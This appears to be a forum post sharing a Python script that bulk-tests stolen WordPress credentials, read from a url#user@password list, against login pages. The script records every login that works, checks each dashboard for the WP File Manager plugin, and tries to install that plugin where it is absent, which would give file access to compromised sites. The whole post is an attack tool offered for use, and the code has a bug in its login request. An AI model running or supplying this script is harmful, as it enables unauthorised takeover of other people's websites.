Revealed content
Python:
import requests
from bs4 import BeautifulSoup
from colorama import Fore, Style
cxhead = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept' : 'text/plain'
}
def is_file_manager_installed(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
file_manager_menu = soup.find('div', {'class': 'wp-menu-name'})
return file_manager_menu and 'WP File Manager' in file_manager_menu.get_text()
def wordpress_login_from_file(file_path):
try:
with open(file_path, 'r', encoding="utf-8") as file:
lines = file.readlines()
for line in lines:
line = line.strip()
url, rest = line.split('#', 1)
username, password = rest.split('@', 1)
payload = {
'log': username,
'pwd': password,
}
try:
session = requests.Session()
response = session.post(line, data=payload, headers=cxhead, timeout=3)
if 'Dashboard' in response.text:
login_message = f"{Fore.GREEN}Login Successful{Style.RESET_ALL} - {url}"
open("CXValid-Logins.txt", "a").write(url + "#" + username + "@" + password + "\n")
if is_file_manager_installed(response.text):
login_message += f" Wp File Manager {Style.RESET_ALL} - {Fore.GREEN}Yes{Style.RESET_ALL}"
open("CX-FileManager.txt", "a").write(url + "#" + username + "@" + password + "\n")
else:
plugin_payload = {
'action': 'install-plugin',
'plugin': 'File Manager',
}
plugin_response = session.post(f"{url[:-len('/wp-login.php')]}/wp-admin/admin-ajax.php", data=plugin_payload, timeout=3)
if 'Plugin installed successfully' in plugin_response.text:
login_message += f" Wp File Manager {Style.RESET_ALL}{Fore.WHITE}Yes{Style.RESET_ALL} Plugin Installation{Fore.GREEN}Successful{Style.RESET_ALL}"
open("CX-Installation-Panels.txt", "a").write(url + "#" + username + "@" + password + "\n")
else:
login_message += f" Wp File Manager {Style.RESET_ALL}{Fore.RED}No{Style.RESET_ALL} Plugin Installation {Fore.RED}Failed{Style.RESET_ALL}"
print(login_message)
else:
print(f"{Fore.RED}Login Invalid{Style.RESET_ALL} - {url}")
except requests.exceptions.Timeout:
print(f"{Fore.YELLOW}Timeout{Style.RESET_ALL} - {url}, skipping...")
except Exception as e:
print(f"{Fore.RED}An error occurred for {url} skipping...{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}An error occurred while reading the file: {str(e)}{Style.RESET_ALL}")
if __name__ == "__main__":
file_path = input("Enter a List: ")
wordpress_login_from_file(file_path)
Bu içeriği görmek için giriş yapın.